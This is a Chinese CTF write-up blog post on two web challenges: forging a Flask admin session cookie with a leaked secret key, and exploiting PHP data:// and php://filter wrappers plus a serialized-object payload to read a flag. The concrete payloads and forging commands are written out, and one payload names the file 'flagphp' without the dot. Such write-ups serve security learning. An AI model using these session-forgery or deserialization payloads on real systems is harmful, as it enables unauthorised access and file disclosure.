[HCTF 2018]admin和[ZJCTF 2019]NiZhuanSiWei

[HCTF 2018]admin

打开题目

 

题目是admin肯定是让我登陆admin账号然后就可以得到flag

于是我进入登陆界面尝试用sql注入,多次尝试发现失败,没法sql注入

 

于是我改变思路,我发现这边有注册按钮,于是我尝试注册一个测试账号。

 

<!-- you are not admin -->

我去找了发送头和响应头

发现cookie里面有

session=.eJw90E-LwjAQBfCvsszZQ5Pa_SN4EOqWCJNQiC2Ti7haTdPGhapYI373rbI41wc_3psbrHZddbQwOXXnagSreguTG7z9wASMw1ilm166nBlPvdJzTq6w6ESM5XeDvHAUbEOhrVHjBfkyyDQP0s0Z-TyRmWAyYE-lqYnnidL5hULhjVu0NNikm1iWspV626p0OValSJ6WE2OVSae0tZgWLXFiMrU1ZoORigtm8yvpojZecMxkM_Sbwn0Em2O3W51-m-rwmkBacOM2ET2ocmEpEFN6xtHte_RLjjq_Il84o2fRowoG6zGfPrnar_fVS0JXJOo_Oaz9EADj8Th5__j8ioaDEZyPVff8H7AI7n-icW1L.YcKyJQ.u-BsH6MhsfPQiGnn4KJQkEcpGuw

cookie是服务器用来识别用户身份的

然后继续找信息

所有网页源代码查看以后终于在change password里面发现了东西

 <!-- https://github.com/woadsl1234/hctf_flask/ -->

很明显提示我们是flask写的登陆之类的。

于是我打开链接下载下来,得到一堆文件。

打开routes.py我发现这是登陆,注册,改密码的源代码

 

然后再config.py里面找到了

SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'

很明显要用flask session伪造

于是我去网上找了flask解密脚本和加密脚本。

把session解密如下:

 

{'_fresh': True, '_id': b'f37871645ff1916b5a2271ad3ecc8dc9b1303e3443615bd94b5731afbcd9940c5ff2eb37a975ce57e8589b9c9b2288cc98a05ecf548b0d98200a2a5bfb60cd64', 'csrf_token': b'a26f74a8a1bac659062812e61423bce045ce38f1', 'image': b'25y9', 'name': '1234567890000', 'user_id': '10'}

然后把name后面的那个改成admin

运行脚本

python3 flask_session_cookie_manager3.py encode  -s "ckj123"  -t "{'_fresh': True, '_id': b'f37871645ff1916b5a2271ad3ecc8dc9b1303e3443615bd94b5731afbcd9940c5ff2eb37a975ce57e8589b9c9b2288cc98a05ecf548b0d98200a2a5bfb60cd64', 'csrf_token': b'a26f74a8a1bac659062812e61423bce045ce38f1', 'image': b'25y9', 'name': 'admin', 'user_id': '10'}"
.eJw90EGLwjAUBOC_sryzBxvtpeBBqFsivIRAbHm5iKvVJG26UBVrxP--VRbPAx8z84Dtsa_PFrJLf60nsHUHyB7w9QMZGI8zme8H4VViAg1Srxj50qLnM6y-G2Slp2gbiq1DjTdkmyhyFYVfJRRUKgqeiIgDVcYRU6nU6kaxDMavWxpt0s1MVKIV-tDKfDOXFU_fludzWQgvtbWYly0xSkRuHRajkfMbFqs76dKZwBkWohn7LeA5gf25P24vv03dfSaQ5sz4_ZReVLW2FCmResnQnwYMG4Za3ZGtvdHL6asKRhtQLd6cC7tT_ZHQl6n8T7pdGAPYHYLrYALXc92_f4NkCs8_XVtstw.YcKvtA.qshKWIcCFrM_6Zlt5UtFfi7MO18

于是把cookie里面session改成得到的就得到

 

知识:

因为是储存在本地,所以能够进行修改来达到欺骗服务器的程度

[ZJCTF 2019]NiZhuanSiWei

打开题目

 

首先由

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

要求文件里面内容要求是 welcome to the zjctf(不过函数里面那个'r'是什么意思我不太清楚,也没查到,不过我推测跟python里面读文件出现的r可能一样)

于是采用data://协议读入

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

得到如下:

 

然后再采用 filter 读取文件

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/convert.base64-encode/resource=useless.php

得到如下:

 

然后base64解码得到

<?php  

class Flag{  //flag.php  
   public $file;  
   public function __tostring(){  
       if(isset($this->file)){  
           echo file_get_contents($this->file);
           echo "<br>";
       return ("U R SO CLOSE !///COME ON PLZ");
      }  
  }  
}  
?>  

然后再采用php在线编译工具来得到password的payload

 

即payload:

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A7%3A%22flagphp%22%3B%7D

于是得到

 

查看源代码发现flag在源代码里面

 

flag{2c6fb606-9b9b-4b8d-986d-e2a4c2d386ba}

知识:

php伪协议

给文件写入东西可以采用data://协议写入,然后读取可以采用filter

posted @ 2021-12-22 20:58  FPointmaple  阅读(210)  评论(1)    收藏  举报